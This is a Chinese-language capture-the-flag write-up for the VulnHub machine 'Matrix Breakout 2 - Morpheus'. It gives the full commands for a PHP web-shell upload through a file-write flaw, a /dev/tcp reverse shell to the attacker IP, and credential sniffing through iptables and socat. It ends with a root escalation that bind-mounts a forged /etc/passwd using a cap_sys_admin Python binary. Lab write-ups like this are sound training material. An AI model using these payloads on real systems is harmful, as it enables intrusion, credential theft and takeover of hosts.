Matrix Breakout 2 - Morpheus

Posted by axlfpe on 2025-05-21
Estimated Reading Time 18 Minutes
Words 3.4k In Total
Viewed Times

matrix-breakout-2-morpheus

技术点总结

  • Web漏洞利用
    • 文件写入漏洞
    • 命令注入
    • 目录遍历
  • 权限提升
    • Linux Capabilities利用
    • 文件挂载提权
  • 网络技术
    • 端口转发
    • 流量劫持
    • Docker网络
  • 信息收集
    • 端口扫描
    • 目录爆破
    • 进程监控
    • 系统信息收集

靶机地址:https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/

攻击机ip:192.168.108.50

靶机ip:192.168.108.132

1
Kal ddddx ~ ❯ rustscan -a 192.168.108.132 

图片.png

端口 服务 常见漏洞
22 SSH 弱口令、默认账户、版本漏洞
80 HTTP XSS、SQL注入、目录遍历等
81 自定义HTTP 同样可能存在 Web 漏洞

先访问80和81端口,发现80是个普通端口,源码也没放东西,81是个登录端口,弱密码和万能密码无效

图片.png

图片.png

尝试使用使用nmap扫一下,发现也没东西

1
2
3
4
5
6
7
8
9
Kal ddddx ~ ❯ nmap -sV -p81,80 192.168.108.132                                                      took 7s at 15:58:25
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-21 15:58 CST
Nmap scan report for 192.168.108.132
Host is up (0.00041s latency).

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.51 ((Debian))
81/tcp open http nginx 1.18.0
MAC Address: 00:0C:29:E2:34:7B (VMware)

尝试对80端口和81端口进行目录爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Kal ddddx ~ ❯ gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,html,zip,txt -b 403,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.108.132
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.6
[+] Extensions: zip,txt,php,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 348]
/javascript (Status: 301) [Size: 323] [--> http://192.168.108.132/javascript/]
/robots.txt (Status: 200) [Size: 47]
/graffiti.txt (Status: 200) [Size: 139]
/graffiti.php (Status: 200) [Size: 451]
Progress: 704256 / 1038220 (67.83%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 707759 / 1038220 (68.17%)
===============================================================
Finished
===============================================================

发现了5个页面

  • index.html
  • robots.txt
  • javascript
  • graffiti.txt
  • graffiti.php

index之前看过了,其他的全部尝试curl一下

图片.png

图片.png

图片.png

图片.png

图片.png

发现graffiti.php是一个带留言板功能的主页,而且具备潜在的文件写入或**命令注入入口,**而且联系同名的.txt文件可以判断这个页面大概率可以对.txt文件进行修改

图片.png

尝试传入123看看是否能写入.txt文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
Kal ddddx ~ ❯ curl -X POST http://192.168.108.132/graffiti.php \                                        at 17:47:46
-d "message=test123&file=graffiti.txt"

<h1>
<center>
Nebuchadnezzar Graffiti Wall

</center>
</h1>
<p>
Mouse here - welcome to the Nebby!
<br>

<br>
Make sure not to tell Morpheus about this graffiti wall.
<br>
It's just here to let us blow off some steam.
<br>
test123
<br>
<br>
<p>
Enter message:
<p>
<form method="post">
<label>Message</label><div><input type="text" name="message"></div>
<input type="hidden" name="file" value="graffiti.txt">
<div><button type="submit">Post</button></div>
</form>
Kal ddddx ~ ❯ curl $ip/graffiti.txt at 17:47:56
Mouse here - welcome to the Nebby!

Make sure not to tell Morpheus about this graffiti wall.
It's just here to let us blow off some steam.
test123

可以写入,尝试传入shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Kal ddddx ~ ❯ curl -X POST http://192.168.108.132/graffiti.php \                               took 19s at 17:50:28
-d "message=<?php system(\$_GET['cmd']); ?>&file=shell.php"

<h1>
<center>
Nebuchadnezzar Graffiti Wall

</center>
</h1>
<p>
<?php system($_GET['cmd']); ?>
<br>
<br>
<p>
Enter message:
<p>
<form method="post">
<label>Message</label><div><input type="text" name="message"></div>
<input type="hidden" name="file" value="graffiti.txt">
<div><button type="submit">Post</button></div>
</form>
Kal ddddx ~ ❯ curl "http://192.168.108.132/shell.php?cmd=id" at 17:51:19
uid=33(www-data) gid=33(www-data) groups=33(www-data)

成功拿到RCE,用攻击机进行连接

1
Kal ddddx ~ ❯ curl "http://192.168.108.132/shell.php?cmd=bash+-c+'bash+-i+%3E%26+/dev/tcp/192.168.108.50/2000+0%3E%261'"
1
2
3
4
5
6
7
8
Kal ddddx ~ ❯ pwncat-cs -l -p 2000  took 32s at 18:04:28
[18:05:09] Welcome to pwncat 🐈! __main__.py:164
[18:05:10] received connection from bind.py:84
192.168.108.132:35338
192.168.108.132:35338 • calculating host hash • retrieving hostname (hostname -f)
[18:05:26] 192.168.108.132:35338: registered new host w/ db manager.py:957
(local) pwncat$
(remote) www-data@morpheus:/var/www/html$

进入之后尝试信息收集,一番搜寻之后发现第一个flag并且带有后续提示

1
2
3
4
5
6
(remote) www-data@morpheus:/$ cd /
(remote) www-data@morpheus:/$ ls
FLAG.txt boot dev home lib32 libx32 media opt root sbin sys usr
bin crew etc lib lib64 lost+found mnt proc run srv tmp var
(remote) www-data@morpheus:/$ cat FLAG.txt
Flag 1!

图片.png

图片.png

说明下一步和neo的图片有关

1
curl http://192.168.108.132/.cypher-neo.png -o cypher-neo.png

将图片拿回本地,尝试查看元数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
Kal ddddx ~ ❯ exiftool matrixbox/cypher-neo.png                                                             at 13:29:24
ExifTool Version Number : 13.10
File Name : cypher-neo.png
Directory : matrixbox
File Size : 381 kB
File Modification Date/Time : 2025:05:21 18:30:22+08:00
File Access Date/Time : 2025:05:21 18:30:22+08:00
File Inode Change Date/Time : 2025:05:23 13:28:18+08:00
File Permissions : -rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 853
Image Height : 480
Bit Depth : 8
Color Type : RGB with Alpha
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Gamma : 2.2
White Point X : 0.3127
White Point Y : 0.329
Red X : 0.64
Red Y : 0.33
Green X : 0.3
Green Y : 0.6
Blue X : 0.15
Blue Y : 0.06
Background Color : 255 255 255
Modify Date : 2021:03:17 10:58:47
Warning : [minor] Text/EXIF chunk(s) found after PNG IDAT (may be ignored by some readers) [x10]
Datecreate : 2021-03-17T10:58:47+00:00
Datemodify : 2021-03-17T10:58:47+00:00
Software : https://imagemagick.org
Thumb Document Pages : 1
Thumb Image Height : 480
Thumb Image Width : 853
Thumb Mimetype : image/png
Thumb M Time : 1615978727
Thumb Size : 329716B
Thumb URI : file:///tmp/thumblr/img120644856217080381
Image Size : 853x480
Megapixels : 0.409

没有发现有用的信息,因为是png格式所有考虑LSB隐写判断真实文件类型

无果,先暂时放弃这里,继续收集其他消息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
(remote) www-data@morpheus:/var/www/html$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:0c:29:e2:34:7b brd ff:ff:ff:ff:ff:ff
altname enp2s1
inet 192.168.108.132/24 brd 192.168.108.255 scope global dynamic ens33
valid_lft 1490sec preferred_lft 1490sec
inet6 fe80::20c:29ff:fee2:347b/64 scope link
valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:c9:ba:eb:34 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
inet6 fe80::42:c9ff:feba:eb34/64 scope link
valid_lft forever preferred_lft forever
5: vethd22674d@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default
link/ether f2:e8:0d:94:ed:14 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet6 fe80::f0e8:dff:fe94:ed14/64 scope link
valid_lft forever preferred_lft forever

ip a 后发现还存在一个docker环境,ip为172.17.0.1,尝试查看docker容器,依旧没有权限,当前用户也不在用户组,也跑不了docker命令,先用python在攻击机上开个端口,上传linpeas脚本进行信息收集,并将结果传回攻击机查看

1
2
(remote) www-data@morpheus:/var/www/html$ docker ps -a
Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/json?all=1": dial unix /var/run/docker.sock: connect: permission denied
1
2
3
4
5
6
7
8
9
(remote) www-data@morpheus:/var/www/html$ curl http://192.168.108.50:8000/linpeas.sh -o linpeas.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 820k 100 820k 0 0 72.8M 0 --:--:-- --:--:-- --:--:-- 72.8M
(remote) www-data@morpheus:/var/www/html$ ls
graffiti.php graffiti.txt index.html linpeas.sh robots.txt shell.php trinity.jpeg
(remote) www-data@morpheus:/var/www/html$ chmod +x linpeas.sh
(remote) www-data@morpheus:/var/www/html$ ./linpeas.sh
(remote) www-data@morpheus:/var/www/html$ nc 192.168.108.50 4444 < /tmp/linpeas.lo /tmp/linpeas.log http://192.168.108.50:8000/linpeas.log
1
2
3
4
5
Files with capabilities (limited to 50):
/usr/bin/python3-9 cap_sys_admin=ep
/usr/bin/ping cap_net_raw=ep
/usr/sbin/xtables-legacy-multi cap_net_admin=ep
/usr/sbin/xtables-nft-multi cap_net_admin=ep

发现了python被赋予了cap_sys_admin 能力,并且权限是 effective (e)permitted §,所以当我们以普通用户身份运行 /usr/bin/python3-9 时,这个进程也拥有 CAP_SYS_ADMIN 权限,而这个权限在linux中很强大,几乎等价于 root 权限

https://book.hacktricks.wiki/zh/linux-hardening/privilege-escalation/linux-capabilities.html#cap_sys_admin

1
2
(remote) www-data@morpheus:/var/www/html$ ls -al /usr/bin/python3-9
-rwxr-x--- 1 root humans 5479736 Oct 28 2021 /usr/bin/python3-9

但是我们发现只有root和humans组的成员能执行这个python,线索又断了

回到开头尝试在靶机上查看两个主页的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
(remote) www-data@morpheus:/etc/nginx$ cat /etc/nginx/sites-enabled/*
....
server {
listen 81 default_server;
listen [::]:81 default_server;

root /var/nginx/html;

auth_basic "Meeting Place";
auth_basic_user_file /var/nginx/html/.htpasswd;

index index.html index.htm index.nginx-debian.html;

location / {
try_files $uri $uri/ =404;
}
........
}

目录根路径:/var/nginx/html
用户名密码存储在:/var/nginx/html/.htpasswd

查看一下发现是apache使用的md5hash,使用john直接破解,无果

发现index还给了一点提示

1
2
(remote) www-data@morpheus:/etc/nginx$ cat /var/nginx/html/.htpasswd
cypher:$apr1$e9o8Y7Om$5zgDW6WOO6Fl8rCC7jpvX0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(remote) www-data@morpheus:/etc/nginx$ cat /var/nginx/html/index.html
<html><head><title>Meeting Place</title></head><body>

<p>
<center>
<h2>Dinner to Discuss Zion</h2>
</center>
</p>
<p>
Agent Smith, if you want to break into Zion, meet me in 3 days at the steak house at the corner of Wabash and Lake.
<img src="ignorance-bliss.png">
</p>
<p>
"I know this steak doesn't exist. I know that when I put it in my mouth, the Matrix is telling my brain that it is juicy and delicious. After nine years, you know what I realize? Ignorance is bliss."

</body>
</html>
1
2
3
4
5
6
7
8
9

<h2>晚餐讨论锡安<-H2>

史密斯特工,如果您想闯入锡安,请在三天内在Wabash和Lake的拐角处与我见面。

<img src =“ nighorance-bliss.png”>

“我知道这种牛排不存在。我知道,当我把它放在嘴里时,矩阵告诉我的大脑多汁可口。九年后,你知道我意识到了什么?无知是幸福的。”

将图片拿下来分析,发现也没什么东西 : (

上传pspy64

发现有定期执行任务

1
2
3
4
2025/05/25 05:56:07 CMD: UID=0     PID=1      | /sbin/init
2025/05/25 05:56:49 CMD: UID=0 PID=46902 | /usr/bin/basic-auth-client
2025/05/25 05:56:49 CMD: UID=0 PID=46907 | sleep 60
2025/05/25 05:57:01 CMD: UID=0 PID=46908 | /usr/sbin/CRON -f
1
2
3
4
5
(remote) www-data@morpheus:/tmp$ getcap /usr/bin/basic-auth-client
bin/basic-auth-client
/usr/bin/basic-auth-client (No such file or directory)
(remote) www-data@morpheus:/tmp$ ls -l /usr/bin/basic-auth-client
ls: cannot access '/usr/bin/basic-auth-client': No such file or directory

查看程序发现并不在本机上,应该在docker中,程序定期连接到81端口,我们可以想办法截获一下

用iptables重定向81端口的TCP流量到3333端口

1
(remote) www-data@morpheus:/tmp$ iptables -t nat -A PREROUTING -p tcp --dport 81 -j REDIRECT --to-port 3333
iptables 管理防火墙规则的命令
-t nat 指定操作的表是 nat 表(用于网络地址转换)
-D 删除(delete)一条规则
PREROUTING 链名:数据包刚到达网卡,还未被路由前触发
-p tcp 匹配协议类型为 TCP 的数据包
--dport 81 匹配目标端口为 81 的数据包
-j REDIRECT 动作为重定向(REDIRECT),即转发到本地端口
--to-port 3333 重定向目标端口为 3333

启动socat监听并转发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
(remote) www-data@morpheus:/tmp$  socat -v TCP-LISTEN:3333,fork TCP:127.0.0.1:81
> 2025/05/25 06:37:49.498612 length=189 from=0 to=188
GET / HTTP/1.1\r
Host: 172.17.0.1:81\r
User-Agent: Go-http-client/1.1\r
Authorization: Basic Y3lwaGVyOmNhY2hlLXByb3N5LXByb2NlZWRzLWNsdWUtZXhwaWF0ZS1hbW1vLXB1Z2lsaXN0\r
Accept-Encoding: gzip\r
\r
< 2025/05/25 06:37:49.500338 length=603 from=0 to=602
HTTP/1.1 200 OK\r
Server: nginx/1.18.0\r
Date: Sun, 25 May 2025 06:37:49 GMT\r
Content-Type: text/html\r
Last-Modified: Thu, 28 Oct 2021 06:22:03 GMT\r
Transfer-Encoding: chunked\r
Connection: keep-alive\r
ETag: W/"617a418b-20a"\r
Content-Encoding: gzip\r
\r
156\r
..\b.......MR.j.0\f=._!r..K..f..^
+\fv...8j......f_?9YG.\b#........7.C.5u...9 &.....XWK...H...Y....s..EN....4;b.\b)....".E........Z.s......%..:..F..m.P....X.Yk\r....-x..L.F..ARF.0
.Z6..'....F.........i.A.})...\r[|j=..g......b.'..........c.......j....q.....a.!.y...`R.+.RB.s.z.F.....9..#.i...'K:Z ....L.0.......]2u.....|..m.,..V.....jyK}...V..6|.
...\r
0\r
\r

将拿到的凭证解密

1
2
Kal ddddx ~ ❯ echo Y3lwaGVyOmNhY2hlLXByb3N5LXByb2NlZWRzLWNsdWUtZXhwaWF0ZS1hbW1vLXB1Z2lsaXN0 | base64 -d
cypher:cache-prosy-proceeds-clue-expiate-ammo-pugilist%

https://www.freebuf.com/articles/system/358115.html

拿到凭证后登录到ssh,发现刚好也是humans组的那我们之前收集到的信息就有用了,直接开始使用cap_sys_admin进行提权,伪造一个passwd,将密码为password的密码加密,写入伪造的passwd

1
2
3
4
5
6
7
cypher@morpheus:~$ whoami && id
cypher
uid=1001(cypher) gid=1001(cypher) groups=1001(cypher),1002(humans)
cypher@morpheus:~$ cp /etc/passwd ./
cypher@morpheus:~$ openssl passwd -1 -salt abc password
$1$abc$BXBqpb9BZcZhXLgbee.0s/
cypher@morpheus:~$ vim ./passwd

图片.png

基于python的exp
利用 libc.mount() 和 Python 的 ctypes 库,通过 MS_BIND(绑定挂载)机制将伪造的 /etc/passwd 文件挂载覆盖到真实的 /etc/passwd 上,从而实现提权

1
2
3
4
5
6
7
8
9
10
from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/home/cypher/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)

函数定义

1
2

libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)

这是为了告诉 ctypes 函数 mount() 的参数类型是什么:

参数名 类型 含义
source c_char_p 源路径(你要挂载的文件)
target c_char_p 目标路径(你要挂载到哪里)
filesystemtype c_char_p 文件系统类型,MS_BIND时为 "none"
mountflags c_ulong 挂载选项,这里是 MS_BIND = 4096
data c_char_p 一些额外选项(通常为 Noneb""
1
2
3
4
5
source = b"/path/to/fake/passwd"     # 自己伪造的 passwd 文件
target = b"/etc/passwd" # 目标:覆盖系统的 passwd
filesystemtype = b"none" # bind mount 所需参数
options = b"rw" # 可选项,这里没有实质作用
mountflags = MS_BIND # 使用绑定挂载
1
2
3
4
5
6
7
8
9
10
11
cypher@morpheus:~$ /usr/bin/python3-9 exp.py
cypher@morpheus:~$ cat /etc/passwd
root:$1$abc$BXBqpb9BZcZhXLgbee.0s/:0:0:root:/root:/bin/bash
cypher@morpheus:~$ su root
Password:
root@morpheus:/home/cypher# ls
FLAG.txt exp.py passwd
root@morpheus:/home/cypher# cat FLAG.txt
You've clearly gained access as user Cypher.
Can you find a way to get to root?
root@morpheus:/home/cypher#

结束


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !